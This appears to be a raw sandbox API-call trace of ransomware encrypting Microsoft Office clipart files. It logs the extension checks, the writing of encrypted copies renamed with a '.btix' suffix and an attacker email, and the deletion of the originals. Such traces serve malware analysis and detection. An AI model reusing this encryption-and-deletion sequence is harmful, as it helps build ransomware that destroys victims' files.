lstrlenW (lpString=".ppt") returned 4 [0139.306] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0139.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0139.306] lstrlenW (lpString=".zip") returned 4 [0139.306] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0139.306] lstrlenW (lpString=".rar") returned 4 [0139.306] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0139.306] lstrlenW (lpString=".bz2") returned 4 [0139.306] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0139.306] lstrlenW (lpString=".7z") returned 3 [0139.306] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0139.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0139.306] lstrlenW (lpString=".dbf") returned 4 [0139.306] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0139.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0139.306] lstrlenW (lpString=".1cd") returned 4 [0139.306] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0139.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0139.307] lstrlenW (lpString=".jpg") returned 4 [0139.307] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0139.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0139.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0139.307] lstrlenW (lpString=".doc") returned 4 [0139.307] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0139.307] lstrlenW (lpString=".docx") returned 5 [0139.307] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0139.307] lstrlenW (lpString=".pdf") returned 4 [0139.307] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0139.307] lstrlenW (lpString=".xls") returned 4 [0139.307] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0139.307] lstrlenW (lpString=".xlsx") returned 5 [0139.307] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0139.307] lstrlenW (lpString=".ppt") returned 4 [0139.307] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0139.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0139.307] lstrlenW (lpString=".zip") returned 4 [0139.307] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0139.311] lstrlenW (lpString=".rar") returned 4 [0139.312] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0139.312] lstrlenW (lpString=".bz2") returned 4 [0139.312] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0139.312] lstrlenW (lpString=".7z") returned 3 [0139.312] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0139.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0139.312] lstrlenW (lpString=".dbf") returned 4 [0139.312] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0139.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0139.312] lstrlenW (lpString=".1cd") returned 4 [0139.312] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0139.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0139.312] lstrlenW (lpString=".jpg") returned 4 [0139.312] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0139.312] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0139.312] lstrlenW (lpString="J0099199.GIF") returned 12 [0139.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0139.995] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=33975) returned 1 [0139.995] CloseHandle (hObject=0x4c0) returned 1 [0139.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif")) returned 0x220 [0140.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0140.296] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.296] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0140.297] GetLastError () returned 0x0 [0140.297] ReadFile (in: hFile=0x544, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x84b7, lpOverlapped=0x0) returned 1 [0140.300] WriteFile (in: hFile=0x554, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x84c0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x84c0, lpOverlapped=0x0) returned 1 [0140.301] ReadFile (in: hFile=0x544, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0140.301] WriteFile (in: hFile=0x554, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0140.301] SetEndOfFile (hFile=0x554) returned 1 [0140.301] CloseHandle (hObject=0x554) returned 1 [0140.301] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.301] SetEndOfFile (hFile=0x544) returned 1 [0140.306] CloseHandle (hObject=0x544) returned 1 [0140.306] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0140.306] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif")) returned 1 [0140.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0140.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0140.307] lstrlenW (lpString=".doc") returned 4 [0140.307] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0140.307] lstrlenW (lpString=".docx") returned 5 [0140.307] lstrcmpiW (lpString1=".docx", lpString2="9.GIF") returned -1 [0140.307] lstrlenW (lpString=".pdf") returned 4 [0140.307] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0140.307] lstrlenW (lpString=".xls") returned 4 [0140.307] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0140.307] lstrlenW (lpString=".xlsx") returned 5 [0140.307] lstrcmpiW (lpString1=".xlsx", lpString2="9.GIF") returned -1 [0140.307] lstrlenW (lpString=".ppt") returned 4 [0140.307] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0140.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0140.307] lstrlenW (lpString=".zip") returned 4 [0140.307] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0140.307] lstrlenW (lpString=".rar") returned 4 [0140.307] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0140.307] lstrlenW (lpString=".bz2") returned 4 [0140.307] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0140.307] lstrlenW (lpString=".7z") returned 3 [0140.308] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0140.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0140.308] lstrlenW (lpString=".dbf") returned 4 [0140.308] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0140.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0140.308] lstrlenW (lpString=".1cd") returned 4 [0140.308] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0140.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0140.308] lstrlenW (lpString=".jpg") returned 4 [0140.308] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0140.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0140.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0140.308] lstrlenW (lpString=".doc") returned 4 [0140.308] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0140.308] lstrlenW (lpString=".docx") returned 5 [0140.308] lstrcmpiW (lpString1=".docx", lpString2="9.GIF") returned -1 [0140.308] lstrlenW (lpString=".pdf") returned 4 [0140.308] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0140.308] lstrlenW (lpString=".xls") returned 4 [0140.308] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0140.308] lstrlenW (lpString=".xlsx") returned 5 [0140.308] lstrcmpiW (lpString1=".xlsx", lpString2="9.GIF") returned -1 [0140.308] lstrlenW (lpString=".ppt") returned 4 [0140.309] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0140.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0140.309] lstrlenW (lpString=".zip") returned 4 [0140.309] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0140.309] lstrlenW (lpString=".rar") returned 4 [0140.309] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0140.309] lstrlenW (lpString=".bz2") returned 4 [0140.309] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0140.309] lstrlenW (lpString=".7z") returned 3 [0140.309] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0140.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0140.309] lstrlenW (lpString=".dbf") returned 4 [0140.309] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0140.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0140.309] lstrlenW (lpString=".1cd") returned 4 [0140.309] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0140.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0140.309] lstrlenW (lpString=".jpg") returned 4 [0140.309] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0140.309] lstrcmpiW (lpString1=".BMP", lpString2=".btix") returned -1 [0140.310] lstrlenW (lpString="J0101859.BMP") returned 12 [0140.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0140.310] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=31968) returned 1 [0140.310] CloseHandle (hObject=0x544) returned 1 [0140.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp")) returned 0x220 [0140.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0140.311] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.311] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0140.311] GetLastError () returned 0x0 [0140.311] ReadFile (in: hFile=0x544, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x7ce0, lpOverlapped=0x0) returned 1 [0140.323] WriteFile (in: hFile=0x554, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x7cf0, lpOverlapped=0x0) returned 1 [0140.324] ReadFile (in: hFile=0x544, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0140.325] WriteFile (in: hFile=0x554, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0140.325] SetEndOfFile (hFile=0x554) returned 1 [0140.325] CloseHandle (hObject=0x554) returned 1 [0140.325] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.325] SetEndOfFile (hFile=0x544) returned 1 [0140.328] CloseHandle (hObject=0x544) returned 1 [0140.328] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0140.328] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp")) returned 1 [0140.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0140.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0140.329] lstrlenW (lpString=".doc") returned 4 [0140.329] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0140.329] lstrlenW (lpString=".docx") returned 5 [0140.329] lstrcmpiW (lpString1=".docx", lpString2="9.BMP") returned -1 [0140.329] lstrlenW (lpString=".pdf") returned 4 [0140.329] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0140.329] lstrlenW (lpString=".xls") returned 4 [0140.329] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0140.329] lstrlenW (lpString=".xlsx") returned 5 [0140.329] lstrcmpiW (lpString1=".xlsx", lpString2="9.BMP") returned -1 [0140.329] lstrlenW (lpString=".ppt") returned 4 [0140.329] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0140.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0140.329] lstrlenW (lpString=".zip") returned 4 [0140.330] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0140.330] lstrlenW (lpString=".rar") returned 4 [0140.330] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0140.330] lstrlenW (lpString=".bz2") returned 4 [0140.330] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0140.330] lstrlenW (lpString=".7z") returned 3 [0140.330] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0140.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0140.330] lstrlenW (lpString=".dbf") returned 4 [0140.330] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0140.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0140.330] lstrlenW (lpString=".1cd") returned 4 [0140.330] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0140.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0140.330] lstrlenW (lpString=".jpg") returned 4 [0140.330] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0140.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0140.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0140.330] lstrlenW (lpString=".doc") returned 4 [0140.330] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0140.330] lstrlenW (lpString=".docx") returned 5 [0140.330] lstrcmpiW (lpString1=".docx", lpString2="9.BMP") returned -1 [0140.330] lstrlenW (lpString=".pdf") returned 4 [0140.330] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0140.330] lstrlenW (lpString=".xls") returned 4 [0140.330] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0140.330] lstrlenW (lpString=".xlsx") returned 5 [0140.331] lstrcmpiW (lpString1=".xlsx", lpString2="9.BMP") returned -1 [0140.331] lstrlenW (lpString=".ppt") returned 4 [0140.331] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0140.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0140.331] lstrlenW (lpString=".zip") returned 4 [0140.331] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0140.331] lstrlenW (lpString=".rar") returned 4 [0140.331] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0140.331] lstrlenW (lpString=".bz2") returned 4 [0140.331] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0140.331] lstrlenW (lpString=".7z") returned 3 [0140.331] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0140.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0140.331] lstrlenW (lpString=".dbf") returned 4 [0140.331] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0140.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0140.331] lstrlenW (lpString=".1cd") returned 4 [0140.331] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0140.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0140.331] lstrlenW (lpString=".jpg") returned 4 [0140.331] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0140.331] lstrcmpiW (lpString1=".BMP", lpString2=".btix") returned -1 [0140.331] lstrlenW (lpString="J0101861.BMP") returned 12 [0140.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0140.603] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=32184) returned 1 [0140.603] CloseHandle (hObject=0x530) returned 1 [0140.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp")) returned 0x220 [0140.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0140.604] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.604] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0140.604] GetLastError () returned 0x0 [0140.605] ReadFile (in: hFile=0x530, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0140.607] WriteFile (in: hFile=0x550, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0140.608] ReadFile (in: hFile=0x530, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0140.608] WriteFile (in: hFile=0x550, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0140.608] SetEndOfFile (hFile=0x550) returned 1 [0140.608] CloseHandle (hObject=0x550) returned 1 [0140.608] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.608] SetEndOfFile (hFile=0x530) returned 1 [0141.023] CloseHandle (hObject=0x530) returned 1 [0141.023] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0141.263] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp")) returned 1 [0141.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0141.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0141.400] lstrlenW (lpString=".doc") returned 4 [0141.400] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0141.400] lstrlenW (lpString=".docx") returned 5 [0141.400] lstrcmpiW (lpString1=".docx", lpString2="1.BMP") returned -1 [0141.400] lstrlenW (lpString=".pdf") returned 4 [0141.400] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0141.400] lstrlenW (lpString=".xls") returned 4 [0141.400] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0141.400] lstrlenW (lpString=".xlsx") returned 5 [0141.400] lstrcmpiW (lpString1=".xlsx", lpString2="1.BMP") returned -1 [0141.400] lstrlenW (lpString=".ppt") returned 4 [0141.400] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0141.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0141.400] lstrlenW (lpString=".zip") returned 4 [0141.400] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0141.400] lstrlenW (lpString=".rar") returned 4 [0141.400] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0141.400] lstrlenW (lpString=".bz2") returned 4 [0141.400] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0141.400] lstrlenW (lpString=".7z") returned 3 [0141.400] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 